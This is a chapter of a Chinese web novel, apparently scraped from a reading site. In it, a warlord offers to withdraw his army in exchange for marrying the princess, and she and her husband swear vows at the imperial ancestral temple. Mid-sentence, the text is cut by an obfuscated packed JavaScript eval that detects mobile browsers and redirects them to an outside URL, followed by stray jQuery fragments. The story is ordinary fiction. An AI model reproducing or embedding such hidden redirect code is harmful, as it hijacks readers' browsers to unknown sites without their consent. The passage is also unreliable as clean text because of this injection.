100.第 100 章

作品:《失忆后,宿敌们争先恐后来骗婚

    一夜过后,皇宫又恢复了它往日的肃穆。


    一排小太监将木桶倾斜而下,清水哗啦啦地倒在台阶之上犹如激流的瀑布散向四方,已经干涸的鲜血被这突如其来的水流冲去不少煞气,两个小太监急忙提着木刷来回横刷,试图将黑色的血污擦拭干净。


    宋子雲躺在乾清宫的龙床上呼吸绵长地陷入梦乡。昨夜肃清叛军之后她便昏迷不醒昏倒在楚墨珣怀里,众人快马加鞭请来了院首号脉才知并无大碍,只是惊吓过度加上思绪过度导致的……昏睡。


    这或许是这几日来宋子雲睡过的最安慰的一觉。


    宋良卿与楚墨珣倒是一夜未眠,皆坐在文渊阁内等着陆魏林的连夜审讯报告。方才喊杀声肆起之时不觉时辰匆匆而过,如今阁内安静倒是让两人生出些许尴尬来。


    但尴尬的沉默没有多久,两人又陷入了担忧。


    城门楼子被炸了,若是放在平日,只需加强夜里驻防,加急修建倒城楼倒也不是什么大事。但此刻迟绪的五十万大军虎视眈眈地驻扎在不远处的城郊,而京城竟然连唯一防范用的城墙都轰然倒塌,这简直就是将一柄已经出鞘的宝剑剑柄塞进迟绪手中,而剑刃对准得则是宋良卿的脖子。


    宋良卿止不住地看向楚墨珣,自打上次他反对楚墨珣与长姐的婚事之后,这还是他俩第一次见,他不敢率先开口。


    “陛下心中疑惑何事,但说无妨。”


    他略带尴尬地咬了咬下嘴唇,“楚先生以为镇北王此番是何意?”


    楚墨珣并不是个急于袒露自己心中想法之人,他反问道,“陛下以为如何?”


    换作平日,宋良卿早就不耐烦地以为楚墨珣沽名钓誉,摆明了让自己求他,可今日他却并未有任何不愉快,“朕之前以为迟绪和宋景旭沆瀣一气,但经过这几日的观察,宋景旭在皇城内搅动得热火朝天,可迟绪只是单单驻扎在城外,并不动一兵一卒,很是奇怪。”


    宋良卿眼角小心翼翼打量楚墨珣,见他脸上未见喜怒,一狠心咬牙说结论,“朕以为迟绪与宋景旭并非是一伙的,亦或是迟绪假意与他一伙。”


    “陛下在如此危机关头,思绪还如此周全,真是不容易,”楚墨珣目光中有了些许赞许,“臣也以为迟绪此人看似暴虐成性,实则是个心思细腻之人,他与宋景旭不过是泛泛之交,犯不着为了他得罪陛下。”


    话音刚落,宋良卿原本愁云惨雾般的双眸倏然一亮,他激动地站起身来,膝盖撞倒了竖在一旁的拐杖,摔断的腿疼得他倒抽一口凉气,却不敢在楚墨珣面前喊疼。


    楚墨珣慢悠悠地站起身来弯下身替他捡起那半副拐杖,宋良卿迟疑了一下才接过,“先生以为他想如何?”


    “陛下不妨猜一猜他想干什么?”


    “朕猜,”宋良卿搁下手中的热茶,拄着拐杖在文渊阁内一瘸一拐地踱步,不出几步,他便回头与楚墨珣四目相对,“他俩曾暗通书信,宋景旭或许对他承诺过什么,可迟绪并不相信他,他驻扎在城外只想坐山观虎斗,待到我与宋景旭两败俱伤之时他却能坐收渔翁之利。”


    楚墨珣点点头。


    宋良卿深吸一口气,“他想借机和朕谈条件。”


    “陛下不妨稍等片刻,臣相信不日镇北王得了宋景旭被俘的消息自然会派信使入城来。”


    不出楚墨珣所料,迟绪的信便送进了皇宫,信很短,只有短短一句话。


    “陛下,臣的条件从一而终,愿以五十万大军为聘,求娶长公主殿下,结秦晋之好,共保大靖江山。若得允准,本王即刻退兵。”


    “他迟绪真是反了!”


    这已不是求亲,是赤裸裸的武力逼婚。宋良卿握着龙椅的手微微发抖,气得将手中的暖壶一并掷了出去。


    他朝着崇善使了个眼色,阴冷地说道,“今日文渊阁内商议此事万不可让长姐知道,你去守着外头,若是传出去半分,我要你好看。”


    “奴才遵旨。”


    楚墨珣一夜未歇,他眼底一片青灰,挺拔的身姿如同暴风雨中不倒的青松,他面上看不出喜怒,唯有那双深邃的眼眸,此刻冰寒刺骨,仿佛蕴藏着席卷北境的暴风雪。


    宋良卿问道,“京城禁军经历内乱,折损不少,我们手上的兵不多,先生可有办法挡得住五十万如狼似虎的边军?”


    楚墨珣回答得很干脆,“并无。”


    “好。”宋良卿并没有因为楚墨珣的这一个丧气的回答而灰心丧志,反而好像有了一丝丝偏要迎难而上的勇气,“宣陆巍林,看来我们要好好盘一盘京城到底有多少兵马。先生放心,我就算是死也绝不以长姐一人做交换。”


    “陛下且慢,”楚墨珣微微摇头,“这不是你一人性命,事关京城安宁,羽南可不会像陛下这般选择。”


    宋良卿猛然站起身,眼眶瞬间红了,他像个孩子似地吼道,“朕才不会告诉长姐。朕要让全天地下的人都知道朕护着她,不会让她受到一丝丝伤害。”


    “世上没有不透风的墙,何况迟绪兵临城下,是瞒不住她的。”


    “不,就算是绑着长姐,朕也不会交出她,把她交给迟绪。”


    楚墨珣嘴角扬起浅浅的笑,“羽南若是听见你这么说会很高兴的。”


    宋良卿终于忍不住性子,直言问道,“先生到底是怎么想的?该不会你也想把长姐交出去吧,她可是你的妻子。”


    楚墨珣挑眉,一副你小子管到我头上来的表情看向他,他缓缓开口,声音不高,却带着一种冷静和力量,“我要趁着羽南不知道之前解决此事。陛下放心,京城尚有可战之兵,民心尚未离散。我楚近思绝不会让大渊江山亡于这等逼婚篡逆之举。”


    宋良卿稚嫩的脸上终于涌起一股血性,他重重一拍龙椅:“先生打算怎么办?朕与先生共进退!”


    “臣打算去会一会迟绪。”


    “什么?”宋良卿瞳孔骤缩,“不行!”


    可能是觉得自己口吻过于强硬,宋良卿又道,“先生可曾想过他若扣下你,甚至杀了你,你怎么办?不成不成,你若有个好歹,我该如何向长姐交代?”


    宋良卿想起宋子雲那张脸,连忙摆手,“我与长姐的关系好不容易才缓和一些,若是万一……长姐永远不会原谅朕。”


    “陛下多虑了,”楚墨珣说道,“在得到明确的答复前,他不会杀一个前去谈判的首辅。”


    “你俩还在此处商议何事?”宋子雲推门而入,质问他俩,“是不是该歇息片刻?陛下的身子还未痊愈呢。”


    宋良卿刚才那据理力争的脸上瞬间挤出笑脸,“长姐来得正好,我与先生商量差不多了。长姐可好些了?”


    “自然是好些了,”宋子雲朝着楚墨珣笑笑,冰凉的指尖握住他,与他并肩而立朝宋良卿行礼,“陛下可不可以把近思借给我用上半天,他要随我去一个地方。”


    宋良卿叹了口气,“长姐自打有了先生,心上便没了朕。”


    宋子雲还未来得及说话,楚墨珣倒是先开口了,“陛下此言差矣,花灯节上羽南可是不顾我反对执意要去城门楼上救陛下,想来在羽南心中我终究是比不上陛下的。”


    “那是,我与长姐可是从小一起长大的亲姐弟,相依为命的,”亲姐弟被宋良卿下了重音,“不论是你或是旁的人终究是外人。”


    “陛下这般说,臣不太服气,羽南嫁给臣就是臣的人,说破天臣也不是外人,羽南你说是不是?”


    “长姐,你评评理。”


    “你俩别套我话,这理我可不能帮,”宋子雲笑道,“陛下,我与近思有些正经事要办,还请陛下恩准。”


    “朕准了。”


    走出文渊阁,楚墨珣问道,“羽南这是要带我去哪?我有一些急事要办,能否等我回来……”


    “不行,”宋子雲像是任性的孩子不肯撒手,“我的事比较重要,我要先办。”


    楚墨珣看着她认真的眸子不敢反驳,只能点点头,“我让人准备马车。”


    “不用,要去的地方就在皇城之中。”


    楚墨珣瞧见宋子雲脸上隐隐的笑容,心中的不安愈发强烈,任由她牵着自己,穿过寂静无人的宫道,走向皇宫深处那座最为庄严肃穆的殿宇。


    看守太庙的老内侍见到宋子雲与楚墨珣前来,默默打开了沉重的殿门。


    一股混合着檀香和陈年木料的气息扑面而来。殿内烛火通明,供奉着大渊朝列祖列宗的牌位,层层叠叠,庄严肃穆,无声地诉说着江山社稷的厚重,安放在最前的牌位


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16515313|168543||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    便是先帝。


    宋子雲忽地松开他的手率先走上前,从案上取过三炷香,在烛火上点燃,青烟袅袅升起,模糊了她苍白而坚定的面容。她恭敬地跪倒在明黄色的蒲团上,对着先帝的牌位深深叩首。


    楚墨珣默默走到她身旁,也取香点燃,郑重行礼。


    殿内寂静无声,只有烛火燃烧时轻微的噼啪声。


    良久,宋子雲直起身,目光依旧凝视着父皇的牌位,声音在空旷的大殿里回荡,清晰而平静,“还记得小时候,父王对羽南说过若是将来长大找到意中人一定要带给他看看。今日女儿便实行诺言。”


    她侧过头看向楚墨珣,烛光在她眼中跳跃,如同破碎的星辰,“父王,我的意中人就是楚墨珣。”


    “羽南。”


    楚墨珣心中震动,还未来得及反应,便已握住宋子雲的手,“近思,你可愿当着父皇和列祖列宗的面,承诺与我做一辈子的夫妻?”


    他看着她在烛光下显得异常单薄又无比强大的身影,一股混杂着痛楚和爱意的热流涌上心头。他撩起紫袍下摆,毫不犹豫地与她并肩跪在蒲团之上,目光灼灼地迎上她的视线,声音沉稳而有力,“我……先帝在上,我此生此世与宋子雲生死不离。”


    宋子雲的泪水终于忍不住滑落脸颊,嘴角又笑了起来,那笑容凄美而绚烂。


    “羽南怎么哭了?”


    “胡说,我才没有哭。”宋子雲抹干眼泪,“皇天后土,列祖列宗在上!我宋子雲,”


    楚墨珣与她十指紧紧相扣,声音与她重合在一起,如同最庄重的合鸣,“我楚墨珣,”


    “今日在此盟誓,此生此心唯系彼此。福祸相依,生死与共!此情不渝,此志不改!”


    炙热的誓言撞在冰冷的墙壁和牌位上此起彼伏地回荡,仿佛真的得到了冥冥中先祖的回应。


    宋子雲转过头,泪眼朦胧地看着他,“近思,记住我们的誓言。无论将来发生什么,你都要替我看护好这江山,看护好陛下。”


    楚墨珣微微蹙眉,那双黑眸看向她,可不等他思索询问,宋子雲便拉着他起身,“既然你答应了,再也不能说辞官回家这样的话了,我父王看着呢。”


    “原来羽南说的是这回事,我答应你便是。”


    暮色四合,从太庙出来时天边云霞被染成一片壮丽的绯红,如同泼洒开的巨大血色绸缎,笼罩着皇城。


    景色悲壮而凄美。


    “好美的晚霞。”


    走出太庙,撞见这般美好的晚霞,宋子雲拉着楚墨珣一同并肩坐在青砖之上,看着那轮红日一点点沉入远山的轮廓。空气中弥漫着一种宁静而哀伤的氛围。


    “真希望我们能一直这样坐下去。”


    楚墨珣牵着她的手,眼里有温柔的笑意,“这有何难,以后每一天在楚府我都坐在院子里陪你看晚霞。”


    “当真?你这位首辅大人可是大渊第一大忙人,哪里有闲工夫陪我看晚霞?”


    “那不一样,以前没有妻子,如今我有妻子了,自然要多陪妻子。”


    宋子雲的眼角笑得弯成一条缝,心却犹如坠入冰窟,她望着晚霞西坠,喃喃道,“是啊,将来做你妻子是何其幸运之人。”


    “羽南别失落,我么总有机会再看晚霞。”


    “还记得我们第一次见面吗?”宋子雲忽然开口,声音轻得像梦呓,“那日我是不是难看极了?”


    楚墨珣轻轻地抚起她被风吹乱的发丝,“你任何时候都不难看。况且你我第一次见并不是五年前的皇城底下。”


    宋子雲微微吃惊,“不是我向你求助的那夜?”


    “自然不是。”楚墨珣眼底泛起回忆的波澜,紧绷的唇角柔和了些许,“是在一次外臣进宫朝贡的喜宴上,你领着陛下在文渊阁前胡闹,被先帝呵斥,那时我刚进翰林院,一眼便看见你这位调皮任性的长公主殿下。”


    宋子雲隐约记得有这么个依稀片段,“原来你那时就与我见过了。”


    她一点点回忆着过往,那些被权势阴谋和误会掩盖的最初美好。仿佛从前的日子一页一页翻在他俩面前,仿佛这些不期而遇的日子像是昨天才发生过一样。她像是在用尽全力将过去所有的温情蜜意都打捞起来重温一遍。